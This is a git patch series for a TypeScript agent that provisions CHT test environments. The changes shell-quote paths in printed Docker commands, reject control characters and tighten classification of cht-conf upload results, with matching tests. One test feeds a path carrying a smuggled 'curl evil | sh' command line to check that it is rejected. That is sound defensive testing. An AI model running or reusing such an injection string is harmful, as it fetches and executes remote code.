+CHT_CORE_PATH="${1:?Usage: test-env-restart.sh <cht-core-path>}"
+OVERRIDE="$(cd "$(dirname "$0")/.." && pwd)/docker/cht-agent-net.override.yml"
+
+cd "$CHT_CORE_PATH/local-build"
+COUCHDB_USER="${COUCHDB_USER:-medic}" COUCHDB_PASSWORD="${COUCHDB_PASSWORD:-password}" docker compose \
+  -f cht-couchdb.yml -f cht-core.yml -f "$OVERRIDE" restart
+
+echo "CHT services restarted. The agent should re-confirm health (provision/waitForReady)."
diff --git a/scripts/test-env-up.sh b/scripts/test-env-up.sh
index 9bc234dd..ccce256b 100755
--- a/scripts/test-env-up.sh
+++ b/scripts/test-env-up.sh
@@ -6,11 +6,22 @@
 #
 # Usage: scripts/test-env-up.sh <cht-core-path>
 #
-# Env overrides: CHT_AGENT_NET (default cht-agent-net), COUCHDB_PASSWORD (default password)
+# Env overrides: COUCHDB_USER (default medic), COUCHDB_PASSWORD (default password).
+# These defaults match the agent's DEFAULT_AUTH — the local-build stack would
+# otherwise default the admin user to 'admin' and every authed agent call would 401.
+# The network name is NOT overridable: docker/cht-agent-net.override.yml hardcodes
+# `cht-agent-net` as an external network, so renaming needs an edit there too.
+#
+# TLS: the stack serves a self-signed cert. The agent's cht-conf child trusts it via
+# --accept-self-signed-certs; the agent's OWN fetch (readiness/discovery/reset) needs
+# the cert trusted in Node — prefer NODE_EXTRA_CA_CERTS=<pem> on the agent process.
+# NODE_TLS_REJECT_UNAUTHORIZED=0 disables verification for ALL of the agent's traffic
+# (LLM/MCP included) and is acceptable only inside a disposable runner container.
 set -euo pipefail
 
 CHT_CORE_PATH="${1:?Usage: test-env-up.sh <cht-core-path>}"
-NETWORK="${CHT_AGENT_NET:-cht-agent-net}"
+# Must match the external network in docker/cht-agent-net.override.yml.
+NETWORK="cht-agent-net"
 OVERRIDE="$(cd "$(dirname "$0")/.." && pwd)/docker/cht-agent-net.override.yml"
 
 # 1. Shared network the cht-agent and CHT both join (idempotent).
@@ -21,7 +32,7 @@ docker network create "$NETWORK" 2>/dev/null || true
 
 # 3. Start the stack, joined to the shared network via the override.
 cd "$CHT_CORE_PATH/local-build"
-COUCHDB_PASSWORD="${COUCHDB_PASSWORD:-password}" docker compose \
+COUCHDB_USER="${COUCHDB_USER:-medic}" COUCHDB_PASSWORD="${COUCHDB_PASSWORD:-password}" docker compose \
   -f cht-couchdb.yml -f cht-core.yml -f "$OVERRIDE" up -d
 
 echo "CHT starting on network '$NETWORK'. The agent will poll /api/v2/monitoring until healthy."
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index daed043c..8b692c75 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -46,8 +46,11 @@ import {
   SeededDocCounts,
 } from '../utils/test-data';
 
-// Real-path defaults: the human brings CHT up on cht-agent-net; the agent
-// reaches it at the nginx service hostname with the cht-docker-compose.sh creds.
+// Real-path defaults: scripts/test-env-up.sh brings CHT up on cht-agent-net
+// with these same COUCHDB_* creds. https://nginx is self-signed — the cht-conf
+// child gets --accept-self-signed-certs; the agent's own fetch needs
+// NODE_EXTRA_CA_CERTS (NODE_TLS_REJECT_UNAUTHORIZED=0 disables verification for
+// ALL agent traffic, LLM/MCP included — disposable runner containers only).
 const DEFAULT_ENV_URL = 'https://nginx';
 const DEFAULT_NETWORK = 'cht-agent-net';
 const DEFAULT_AUTH = { user: 'medic', password: 'password' };
@@ -88,30 +91,20 @@ const stripTrailingSlashes = (value: string): string => {
   return result;
 };
 
+/** Single-quote a path for the printed human-gate commands (spaces/metachars stay inert when pasted). */
+const shellQuote = (value: string): string => `'${value.split("'").join("'\\''")}'`;
+
+const hasControlChars = (value: string): boolean => [...value].some((ch) => ch.charCodeAt(0) < 0x20);
+
 /** A resolved real-mode target: a credential-free instance URL + its auth. */
 interface RealTarget {
   url: string;
   auth: { user: string; password: string };
 }
 
-/**
- * Resolve the real-mode instance URL + credentials from the options, the
- * CHT_URL / COUCHDB_* env seams, and any credentials embedded in the URL:
- * - URL fallback: options.url -> CHT_URL (trimmed; blank ignored) -> the
- *   on-network default; canonicalized (no trailing slash).
- * - Embedded basic-auth creds are stripped OUT of the URL (logged everywhere,
- *   and undici rejects credentialed URLs); they survive only as an auth
- *   fallback, decoded raw-`%`-tolerantly.
- * - Auth precedence: options.auth -> embedded creds -> COUCHDB_* env (the same
- *   seam scripts/test-env-up.sh uses) -> the default.
- */
 type BasicAuth = { user: string; password: string };
 
-/**
- * Resolve real-mode credentials by precedence: options.auth -> creds embedded in
- * the URL -> the COUCHDB_USER/COUCHDB_PASSWORD env seam -> the default. The env
- * seam is gated on COUCHDB_PASSWORD (COUCHDB_USER falls back to the default user).
- */
+/** The COUCHDB_* env seam is gated on COUCHDB_PASSWORD (COUCHDB_USER falls back to the default user). */
 const resolveRealAuth = (options: ProvisionOptions, embeddedAuth: BasicAuth | undefined): BasicAuth => {
   const envAuth = process.env.COUCHDB_PASSWORD
     ? { user: process.env.COUCHDB_USER ?? DEFAULT_AUTH.user, password: process.env.COUCHDB_PASSWORD }
@@ -119,6 +112,16 @@ const resolveRealAuth = (options: ProvisionOptions, embeddedAuth: BasicAuth | un
   return options.auth ?? embeddedAuth ?? envAuth ?? DEFAULT_AUTH;
 };
 
+/**
+ * Resolve the real-mode instance URL + credentials:
+ * - URL fallback: options.url -> CHT_URL (trimmed; blank ignored) -> the
+ *   on-network default; canonicalized (no trailing slash).
+ * - Embedded basic-auth creds are stripped OUT of the URL (logged everywhere,
+ *   and undici rejects credentialed URLs); they survive only as an auth
+ *   fallback, decoded raw-`%`-tolerantly.
+ * - Auth precedence: options.auth -> embedded creds -> COUCHDB_* env (the same
+ *   seam scripts/test-env-up.sh uses) -> the default.
+ */
 const resolveRealTarget = (options: ProvisionOptions): RealTarget => {
   const envUrl = process.env.CHT_URL?.trim() || undefined;
   const resolved = new URL(options.url ?? envUrl ?? DEFAULT_ENV_URL);
@@ -151,6 +154,12 @@ const credentialedUrl = (handle: EnvironmentHandle): string => {
   return url.toString();
 };
 
+/** Default config project: cht-core's in-repo config/default, resolved against the handle's working copy. */
+const defaultConfigPath = (handle: EnvironmentHandle): string =>
+  handle.chtCorePath
+    ? `${stripTrailingSlashes(handle.chtCorePath)}/${DEFAULT_CONFIG_PATH}`
+    : DEFAULT_CONFIG_PATH;
+
 /**
  * Aggregate per-bucket results into the ConfigApplyResult envelope. Shared by
  * the mock and real paths so both return an identical shape.
@@ -285,6 +294,9 @@ const runSucceeded = (run: ChtConfExecResult): boolean =>
 interface SeededDataRecord {
   dataPath: string;
   docIds: string[];
+  /** The seed's cht-conf binary/timeout, reused by the reset's reseed (no version/timeout skew). */
+  bin?: string;
+  timeoutMs?: number;
 }
 
 /** cht-conf run options shared by the seeding phases (verbs/logLabel added per call). */
@@ -409,6 +421,8 @@ const reseedTrackedDocs = async (
     instanceUrl: credentialedUrl(handle),
     configPath: tracked.dataPath,
     cwd: tracked.dataPath,
+    bin: tracked.bin,
+    timeoutMs: tracked.timeoutMs,
     logLabel: 'couchdb reset: upload-docs',
   });
   if (!runSucceeded(reseed)) {
@@ -423,10 +437,10 @@ const reseedTrackedDocs = async (
 
 /** Print the human-gated restart/full reset instructions (the agent runs no Docker). */
 const printResetGate = (handle: EnvironmentHandle, tier: ResetTier): void => {
-  const target = handle.chtCorePath ?? '<cht-core>';
+  const target = shellQuote(handle.chtCorePath ?? '<cht-core>');
   console.log(`[Test Environment Agent] HUMAN GATE — reset (${tier}); the agent runs no Docker:`);
   if (tier === 'restart') {
-    console.log(`    (in ${target}/local-build) docker compose restart`);
+    console.log(`    scripts/test-env-restart.sh ${target}`);
   } else {
     console.log(`    scripts/test-env-down.sh ${target} && scripts/test-env-up.sh ${target}`);
   }
@@ -450,6 +464,10 @@ export class TestEnvironmentAgent {
     if (!options.chtCorePath && !options.version) {
       throw new Error('provision requires either chtCorePath or version');
     }
+    if (options.chtCorePath && hasControlChars(options.chtCorePath)) {
+      // The path is interpolated into printed human-gate command lines.
+      throw new Error('provision: chtCorePath contains control characters — must be a plain filesystem path');
+    }
 
     const source = options.chtCorePath
       ? `local code (${options.chtCorePath})`
@@ -460,12 +478,9 @@ export class TestEnvironmentAgent {
     console.log(`[Test Environment Agent] Source: ${source}`);
 
     if (!this.useMockDocker) {
-      // Resolve the instance URL + creds from options / CHT_URL / COUCHDB_* /
-      // any URL-embedded creds (see resolveRealTarget for the exact precedence).
       const { url, auth } = resolveRealTarget(options);
 
-      // The agent runs no Docker — the human brings the environment up.
-      const target = options.chtCorePath ?? '<cht-core>';
+      const target = shellQuote(options.chtCorePath ?? '<cht-core>');
       console.log('[Test Environment Agent] HUMAN GATE — bring the env up (agent runs no Docker):');
       console.log(`    scripts/test-env-up.sh ${target}   # build + start on ${network}`);
       console.log(`[Test Environment Agent] Polling ${url}/api/v2/monitoring until healthy...`);
@@ -502,7 +517,7 @@ export class TestEnvironmentAgent {
     options: string | ApplyConfigOptions = {}
   ): Promise<ConfigApplyResult> {
     const opts: ApplyConfigOptions = typeof options === 'string' ? { configPath: options } : options;
-    const configPath = opts.configPath ?? DEFAULT_CONFIG_PATH;
+    const configPath = opts.configPath ?? defaultConfigPath(handle);
     const actions = opts.actions ?? DEFAULT_CONFIG_ACTIONS;
     const artifact = opts.artifact;
 
@@ -510,7 +525,7 @@ export class TestEnvironmentAgent {
     console.log(`[Test Environment Agent] Applying config: ${configPath} (${scope}) -> ${handle.url}`);
 
     if (!this.useMockDocker) {
-      const results = await this.applyConfigReal(handle, configPath, actions, artifact);
+      const results = await this.applyConfigReal(handle, configPath, actions, opts);
       return toApplyResult(configPath, artifact, results);
     }
 
@@ -528,12 +543,24 @@ export class TestEnvironmentAgent {
     handle: EnvironmentHandle,
     configPath: string,
     actions: ConfigUploadAction[],
-    artifact: string | undefined
+    opts: ApplyConfigOptions
   ): Promise<ConfigActionResult[]> {
     const instanceUrl = credentialedUrl(handle);
+    // Keep cht-conf's report files in the config project (as the seeding path does).
+    const cwd = configPath.startsWith('/') ? configPath : undefined;
     const results: ConfigActionResult[] = [];
     for (const action of actions) {
-      results.push(await runBucket({ action, instanceUrl, configPath, artifact }));
+      results.push(
+        await runBucket({
+          action,
+          instanceUrl,
+          configPath,
+          artifact: opts.artifact,
+          cwd,
+          bin: opts.bin,
+          timeoutMs: opts.timeoutMs,
+        })
+      );
     }
     return results;
   }
@@ -632,7 +659,12 @@ export class TestEnvironmentAgent {
     // empty re-seed must not clobber a live one (docs from the earlier seed are
     // still on the instance).
     if (docsOk && seeded.length > 0) {
-      this.seededData.set(handle.url, { dataPath, docIds: seeded.map((doc) => doc.id) });
+      this.seededData.set(handle.url, {
+        dataPath,
+        docIds: seeded.map((doc) => doc.id),
+        bin: options.bin,
+        timeoutMs: options.timeoutMs,
+      });
     }
 
     return {
@@ -660,8 +692,6 @@ export class TestEnvironmentAgent {
       return;
     }
 
-    // The couchdb tier is the one reset the agent performs itself; restart/full
-    // stay human-gated Docker operations.
     if (tier === 'couchdb') {
       await this.resetCouchdbTier(handle);
       return;
@@ -706,7 +736,7 @@ export class TestEnvironmentAgent {
 
     // The reseeded docs are the new tracked state (the dataset may have
     // changed since the wiped set was seeded).
-    this.seededData.set(handle.url, { dataPath: tracked.dataPath, docIds: onDisk.map((doc) => doc.id) });
+    this.seededData.set(handle.url, { ...tracked, docIds: onDisk.map((doc) => doc.id) });
 
     console.log(
       `[Test Environment Agent] couchdb reset complete — ` +
@@ -722,8 +752,7 @@ export class TestEnvironmentAgent {
       // The environment (and every doc in it) is going away with the volumes.
       this.seededData.delete(handle.url);
 
-      // Teardown is `docker compose down -v` — human-gated, the agent runs none.
-      const target = handle.chtCorePath ?? '<cht-core>';
+      const target = shellQuote(handle.chtCorePath ?? '<cht-core>');
       console.log('[Test Environment Agent] HUMAN GATE — teardown (the agent runs no Docker):');
       console.log(`    scripts/test-env-down.sh ${target}   # docker compose down -v`);
       return;
diff --git a/src/types/index.ts b/src/types/index.ts
index 51da6b8d..64cb2a45 100644
--- a/src/types/index.ts
+++ b/src/types/index.ts
@@ -804,14 +804,15 @@ export type ConfigUploadAction =
 
 /**
  * Inputs to applyConfig. `configPath` defaults to cht-core's in-repo
- * `config/default`; for cht-conf tickets it points at the mounted deployment
- * config (CHT_CONF_PATH). `actions` narrows which cht-conf uploads run — omit
- * to run the full set (the cht-core default-config flow).
+ * `config/default`, resolved against the handle's chtCorePath; for cht-conf
+ * tickets it points at the mounted deployment config (CHT_CONF_PATH).
+ * `actions` narrows which cht-conf uploads run — omit to run the standard set
+ * (the cht-core default-config flow).
  */
 export interface ApplyConfigOptions {
-  /** Path to the cht-conf project to compile + upload (default: config/default). */
+  /** cht-conf project to compile + upload (default: config/default under the handle's chtCorePath). */
   configPath?: string;
-  /** Which cht-conf upload buckets to run (default: all four). */
+  /** Which cht-conf upload buckets to run (default: the four standard buckets; app-settings-only is opt-in). */
   actions?: ConfigUploadAction[];
   /**
    * Restrict an upload to a single artifact by name (e.g. a form id like
@@ -821,6 +822,10 @@ export interface ApplyConfigOptions {
    * buckets. Omit to upload the whole bucket.
    */
   artifact?: string;
+  /** Override the cht-conf binary (default: `cht`); lets the apply run a deployment-pinned cht-conf. */
+  bin?: string;
+  /** Per-bucket timeout in ms (convert + validate + upload of a full form set can exceed the default). */
+  timeoutMs?: number;
 }
 
 /**
@@ -870,6 +875,8 @@ export interface ChtConfRunOptions {
   configPath: string;
   /** Optional single-form filter (positional arg on the form-upload verbs). */
   artifact?: string;
+  /** Working directory for the spawned process (see ChtConfExecOptions.cwd). */
+  cwd?: string;
   /** Override the cht-conf binary (default: `cht`); lets tests stub a fake script. */
   bin?: string;
   /** Per-bucket timeout in ms before the process is killed and marked failed. */
@@ -974,7 +981,7 @@ export interface EnvironmentHandle {
   url: string;
   auth: { user: string; password: string };
   network: string;
-  /** Working copy backing this env (set when source-built; needed by applyConfig/rebuild) */
+  /** Working copy backing this env (set when source-built); applyConfig resolves its default config/default against it. */
   chtCorePath?: string;
   source: 'mock' | 'docker';
 }
diff --git a/src/utils/cht-conf-runner.ts b/src/utils/cht-conf-runner.ts
index fe229aff..dc690e66 100644
--- a/src/utils/cht-conf-runner.ts
+++ b/src/utils/cht-conf-runner.ts
@@ -111,8 +111,6 @@ const buildExecArgs = (options: ChtConfExecOptions): string[] => [
  * embedded creds lives only in the argv passed to spawn). Exported for testing.
  */
 export const buildChtConfArgs = (options: ChtConfRunOptions): string[] => {
-  // A single-form filter is a `--`-separated extra arg consumed by the
-  // form verbs (cht-conf's args-form-filter reads environment.extraArgs).
   const formFilter = options.artifact && FORM_BUCKETS.has(options.action) ? [options.artifact] : [];
   return buildExecArgs({
     verbs: CONFIG_ACTION_COMMANDS[options.action],
@@ -129,15 +127,22 @@ export const buildChtConfArgs = (options: ChtConfRunOptions): string[] => {
 // cht-conf src (upload-forms.js, upload-app-settings.js,
 // upload-custom-translations.js, upload-configuration-docs.js).
 const SKIP_LINE = /no changes|not updated|already up to date|nothing to upload/;
-// Positive upload signals that never appear in a skip line. Note the negative
-// lookahead: "not uploaded" / "not updated" must NOT count as an upload.
+// Positive upload signals. The lookbehind binds to `uploaded` only, so it stops
+// "not uploaded"; "not updated" is excluded by SKIP_LINE winning the per-line test.
 const UPLOAD_LINE = /(?<!not )uploaded|upload complete|updated successfully/;
+// cht-conf warns and still exits 0 when a verb had nothing to do at all — an
+// unmatched form filter (args-form-filter.js) or a missing bucket input file
+// (upload-configuration-docs.js). Nothing changed on the instance, so these
+// must not classify as uploaded.
+const NO_WORK_LINE = /no matches found for files matching form filter|no configuration file found at path/;
 
 /**
  * Classify a finished cht-conf run. cht-conf exits 0 for BOTH a real upload and
  * a hash-based skip, so status is parsed from stdout per line: a bucket counts
- * as `uploaded` if ANY artifact actually uploaded; `skipped` if it only emitted
- * skip lines; a non-zero exit (or spawn error) is `failed`. Exported for testing.
+ * as `uploaded` only when ANY artifact verifiably uploaded; every other clean
+ * exit (hash-based skips, no-work warnings, unrecognized output) is `skipped` —
+ * never assume an upload without evidence. A non-zero exit (or spawn error) is
+ * `failed`. Exported for testing.
  */
 export const classifyChtConfOutput = (output: string, exitCode: number | null): ConfigActionStatus => {
   if (exitCode !== 0) {
@@ -145,11 +150,21 @@ export const classifyChtConfOutput = (output: string, exitCode: number | null):
   }
   const lines = output.toLowerCase().split('\n');
   const uploadedAny = lines.some((line) => !SKIP_LINE.test(line) && UPLOAD_LINE.test(line));
-  if (uploadedAny) {
-    return 'uploaded';
+  return uploadedAny ? 'uploaded' : 'skipped';
+};
+
+/** Explain a skipped bucket that showed no hash-skip evidence (default-deny for silent runs). */
+const noteSkippedWithoutEvidence = (
+  output: string,
+  action: ConfigUploadAction,
+  warnings: string[]
+): void => {
+  const lower = output.toLowerCase();
+  if (NO_WORK_LINE.test(lower)) {
+    warnings.push(`cht-conf ${action} had nothing to upload (unmatched form filter or missing bucket input)`);
+  } else if (!SKIP_LINE.test(lower)) {
+    warnings.push(`cht-conf ${action} produced no upload or skip line — treated as skipped`);
   }
-  const skippedAny = lines.some((line) => SKIP_LINE.test(line));
-  return skippedAny ? 'skipped' : 'uploaded';
 };
 
 /**
@@ -193,7 +208,9 @@ export const runChtConf = (options: ChtConfExecOptions): Promise<ChtConfExecResu
     proc.stderr?.on('data', (data) => chunks.push(data.toString()));
 
     proc.on('error', (error) => {
-      finish({ exitCode: null, timedOut: false, startError: error.message });
+      // ENOENT covers both a missing binary and an unreachable cwd — name both.
+      const where = options.cwd === undefined ? `bin=${bin}` : `bin=${bin}, cwd=${options.cwd}`;
+      finish({ exitCode: null, timedOut: false, startError: `${error.message} (${where})` });
     });
 
     proc.on('close', (code) => {
@@ -221,7 +238,11 @@ const deriveBucketStatus = (
     warnings.push(`cht-conf ${options.action} failed to start: ${run.startError}`);
     return 'failed';
   }
-  return classifyChtConfOutput(run.output, run.exitCode);
+  const status = classifyChtConfOutput(run.output, run.exitCode);
+  if (status === 'skipped') {
+    noteSkippedWithoutEvidence(run.output, options.action, warnings);
+  }
+  return status;
 };
 
 /**
@@ -245,6 +266,7 @@ export const runBucket = async (options: ChtConfRunOptions): Promise<ConfigActio
     configPath: options.configPath,
     extraArgs: formFilter,
     logLabel: `${options.action}: ${verbs.join(' ')}`,
+    cwd: options.cwd,
     bin: options.bin,
     timeoutMs: options.timeoutMs,
   });
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 47ebadef..1c225aeb 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -83,6 +83,15 @@ describe('TestEnvironmentAgent', () => {
       }
     });
 
+    it('should reject a chtCorePath containing control characters (it is printed into human-gate commands)', async () => {
+      try {
+        await agent.provision({ chtCorePath: '/srv/cht-core\ncurl evil | sh' });
+        expect.fail('Should have thrown an error');
+      } catch (error) {
+        expect((error as Error).message).to.include('control characters');
+      }
+    });
+
     describe('real mode (useMockDocker: false)', () => {
       let fetchStub: sinon.SinonStub;
       // Provision reads these; isolate every test from the ambient env.
@@ -121,6 +130,17 @@ describe('TestEnvironmentAgent', () => {
         expect(handle.chtCorePath).to.equal('/workspace/cht-core');
       });
 
+      it('should print the bring-up gate with the cht-core path shell-quoted', async () => {
+        fetchStub.resolves({ ok: true, status: 200 });
+        const logSpy = sinon.spy(console, 'log');
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+        const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+        expect(lines.some((line) => line.includes("scripts/test-env-up.sh '/workspace/cht-core'"))).to.equal(true);
+      });
+
       it('should reject if the environment never becomes ready', async () => {
         fetchStub.resolves({ ok: false, status: 503 });
         const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
@@ -245,12 +265,12 @@ describe('TestEnvironmentAgent', () => {
   });
 
   describe('applyConfig', () => {
-    it('should default to config/default and run all four upload buckets', async () => {
+    it('should default to config/default under the handle chtCorePath and run the four standard buckets', async () => {
       const handle = await provisionMock();
 
       const result = await agent.applyConfig(handle);
 
-      expect(result.configPath).to.equal('config/default');
+      expect(result.configPath).to.equal('/workspace/cht-core/config/default');
       expect(result.succeeded).to.equal(true);
       expect(result.warnings).to.deep.equal([]);
       expect(result.actions.map((action) => action.action)).to.deep.equal([
@@ -393,6 +413,43 @@ describe('TestEnvironmentAgent', () => {
         expect(runBucketStub.firstCall.args[0].artifact).to.equal('pregnancy');
       });
 
+      it('should resolve the default config/default against the handle chtCorePath, pinning the cwd', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+        const handleWithCore = { ...dockerHandle, chtCorePath: '/workspace/cht-core' };
+
+        await realAgent.applyConfig(handleWithCore, { actions: ['app-settings'] });
+
+        const passed = runBucketStub.firstCall.args[0];
+        expect(passed.configPath).to.equal('/workspace/cht-core/config/default');
+        expect(passed.cwd).to.equal('/workspace/cht-core/config/default');
+      });
+
+      it('should leave the cwd unset for a relative configPath (no chtCorePath to resolve against)', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        await realAgent.applyConfig(dockerHandle, { actions: ['app-settings'] });
+
+        const passed = runBucketStub.firstCall.args[0];
+        expect(passed.configPath).to.equal('config/default');
+        expect(passed.cwd).to.equal(undefined);
+      });
+
+      it('should thread bin and timeoutMs through to the runner (deployment-pinned cht-conf, long form sets)', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        await realAgent.applyConfig(dockerHandle, {
+          configPath: '/mnt/conf',
+          actions: ['app-forms'],
+          bin: '/mnt/conf/node_modules/.bin/cht',
+          timeoutMs: 600_000,
+        });
+
+        const passed = runBucketStub.firstCall.args[0];
+        expect(passed.bin).to.equal('/mnt/conf/node_modules/.bin/cht');
+        expect(passed.timeoutMs).to.equal(600_000);
+        expect(passed.cwd).to.equal('/mnt/conf');
+      });
+
       it('should report succeeded:false when a bucket fails, without aborting the rest', async () => {
         runBucketStub.restore();
         runBucketStub = sinon.stub(chtConfRunner, 'runBucket').callsFake((opts) => {
@@ -788,12 +845,29 @@ describe('TestEnvironmentAgent', () => {
         realAgent = new TestEnvironmentAgent({ useMockDocker: false });
       });
 
-      it('should resolve the restart tier (human-gated, agent runs no Docker)', async () => {
-        expect(await realAgent.reset(dockerHandle, 'restart')).to.be.undefined;
+      afterEach(() => {
+        sinon.restore();
+      });
+
+      it('should print a runnable restart gate quoting the cht-core path (human-gated, agent runs no Docker)', async () => {
+        const logSpy = sinon.spy(console, 'log');
+
+        await realAgent.reset(dockerHandle, 'restart');
+
+        const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+        expect(lines.some((line) => line.includes("scripts/test-env-restart.sh '/workspace/cht-core'"))).to.equal(
+          true
+        );
       });
 
-      it('should resolve the full tier (human-gated, agent runs no Docker)', async () => {
-        expect(await realAgent.reset(dockerHandle, 'full')).to.be.undefined;
+      it('should print the full-tier gate naming both scripts with the quoted path', async () => {
+        const logSpy = sinon.spy(console, 'log');
+
+        await realAgent.reset(dockerHandle, 'full');
+
+        const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+        const expected = "scripts/test-env-down.sh '/workspace/cht-core' && scripts/test-env-up.sh '/workspace/cht-core'";
+        expect(lines.some((line) => line.includes(expected))).to.equal(true);
       });
 
       describe('couchdb tier (the agent-owned reset)', () => {
@@ -981,6 +1055,23 @@ describe('TestEnvironmentAgent', () => {
           expect(fetchDocRevsStub.firstCall.args[2]).to.deep.equal(['place-1', 'person-1']);
         });
 
+        it('should reseed with the same bin/timeoutMs the seed ran with (no version or timeout skew)', async () => {
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+          await agentUnderTest.prepareTestData(dockerHandle, seedConfig, {
+            dataPath,
+            bin: '/mnt/test-data/node_modules/.bin/cht',
+            timeoutMs: 240_000,
+          });
+          runChtConfStub.resetHistory();
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+
+          await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          const reseedCall = runChtConfStub.lastCall.args[0];
+          expect(reseedCall.bin).to.equal('/mnt/test-data/node_modules/.bin/cht');
+          expect(reseedCall.timeoutMs).to.equal(240_000);
+        });
+
         it('should clear the tracking on teardown, so a later couchdb reset is a no-op', async () => {
           await seedTracking();
 
@@ -1000,7 +1091,7 @@ describe('TestEnvironmentAgent', () => {
       expect(await agent.teardown(handle)).to.equal(undefined);
     });
 
-    it('should resolve in real mode (prints the human teardown gate)', async () => {
+    it('should print the human teardown gate with the cht-core path shell-quoted (real mode)', async () => {
       const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
       const handle: EnvironmentHandle = {
         url: 'https://nginx',
@@ -1009,8 +1100,13 @@ describe('TestEnvironmentAgent', () => {
         chtCorePath: '/workspace/cht-core',
         source: 'docker',
       };
+      const logSpy = sinon.spy(console, 'log');
+
+      await realAgent.teardown(handle);
 
-      expect(await realAgent.teardown(handle)).to.be.undefined;
+      logSpy.restore();
+      const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+      expect(lines.some((line) => line.includes("scripts/test-env-down.sh '/workspace/cht-core'"))).to.equal(true);
     });
   });
 });
diff --git a/test/utils/cht-conf-runner.spec.ts b/test/utils/cht-conf-runner.spec.ts
index 967eea29..f18a07b1 100644
--- a/test/utils/cht-conf-runner.spec.ts
+++ b/test/utils/cht-conf-runner.spec.ts
@@ -153,8 +153,20 @@ describe('cht-conf-runner', () => {
       expect(classifyChtConfOutput(output, 0)).to.equal('uploaded');
     });
 
-    it('defaults to uploaded on a clean exit with ambiguous output', () => {
-      expect(classifyChtConfOutput('done', 0)).to.equal('uploaded');
+    it('returns skipped (never uploaded) on a clean exit with no upload or skip line', () => {
+      expect(classifyChtConfOutput('done', 0)).to.equal('skipped');
+    });
+
+    it('returns skipped when a form filter matched nothing (cht-conf warns and exits 0)', () => {
+      const output = 'No matches found for files matching form filter: pregnency.xml';
+
+      expect(classifyChtConfOutput(output, 0)).to.equal('skipped');
+    });
+
+    it('returns skipped when a bucket input file is missing (e.g. upload-branding without branding.json)', () => {
+      const output = 'No configuration file found at path: /mnt/conf/branding.json';
+
+      expect(classifyChtConfOutput(output, 0)).to.equal('skipped');
     });
   });
 
@@ -258,7 +270,7 @@ describe('cht-conf-runner', () => {
       expect(result.exitCode).to.be.null;
     });
 
-    it('folds a spawn failure into startError instead of rejecting', async () => {
+    it('folds a spawn failure into startError instead of rejecting, naming the binary', async () => {
       const proc = makeFakeProc();
       const { runChtConf } = loadRunner(proc);
 
@@ -266,9 +278,20 @@ describe('cht-conf-runner', () => {
       proc.emit('error', new Error('ENOENT'));
 
       const result = await promise;
-      expect(result.startError).to.equal('ENOENT');
+      expect(result.startError).to.equal('ENOENT (bin=cht)');
       expect(result.exitCode).to.be.null;
     });
+
+    it('names the cwd too when one was set (a bad cwd raises the same ENOENT as a missing binary)', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf } = loadRunner(proc);
+
+      const promise = runChtConf(execOpts({ cwd: '/nope/missing' }));
+      proc.emit('error', new Error('spawn cht ENOENT'));
+
+      const result = await promise;
+      expect(result.startError).to.equal('spawn cht ENOENT (bin=cht, cwd=/nope/missing)');
+    });
   });
 
   describe('runBucket', () => {
@@ -370,5 +393,42 @@ describe('cht-conf-runner', () => {
       const result = await promise;
       expect(result.warnings.join(' ')).to.include('artifact targeting ignored');
     });
+
+    it('resolves skipped with a warning when the run had nothing to upload (unmatched form filter)', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ artifact: 'pregnency' }));
+      proc.stdout.emit('data', Buffer.from('No matches found for files matching form filter: pregnency.xml\n'));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('skipped');
+      expect(result.warnings.join(' ')).to.include('nothing to upload');
+    });
+
+    it('resolves skipped with a warning when a clean exit produced no upload or skip line', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('skipped');
+      expect(result.warnings.join(' ')).to.include('no upload or skip line');
+    });
+
+    it('passes the cwd through to the spawned bucket process', async () => {
+      const proc = makeFakeProc();
+      const { runBucket, spawnLog } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ cwd: '/mnt/conf' }));
+      proc.stdout.emit('data', Buffer.from('Form forms/app/pregnancy.xml uploaded'));
+      proc.emit('close', 0);
+
+      await promise;
+      expect(spawnLog[0].opts.cwd).to.equal('/mnt/conf');
+    });
   });
 });

From 03087da9f419ad05995a554a80b8781a263e133f Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Mon, 24 Aug 2026 20:19:04 -0600
Subject: [PATCH 16/24] =?UTF-8?q?fix(#66):=20tier-2=20review=20fixes=20?=
 =?UTF-8?q?=E2=80=94=20target=20guard,=20assertable=20reset,=20redacted=20?=
 =?UTF-8?q?cht-conf=20output?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

- provision refuses non-disposable targets: https-only (http for localhost/nginx),
  unknown hosts need allowExternalTarget or CHT_TEST_ENV_ALLOW_EXTERNAL=1, and the
  built-in medic/password is never sent to one; the guard runs before the poll
- reset returns ResetResult {tier, wiped, reseeded, performedBy, protectedSkipped}
  for every tier and accepts {dataPath, docIds} so a reloaded handle can drive it
- reset tracking is keyed on network|url, so parallel envs on nginx no longer collide
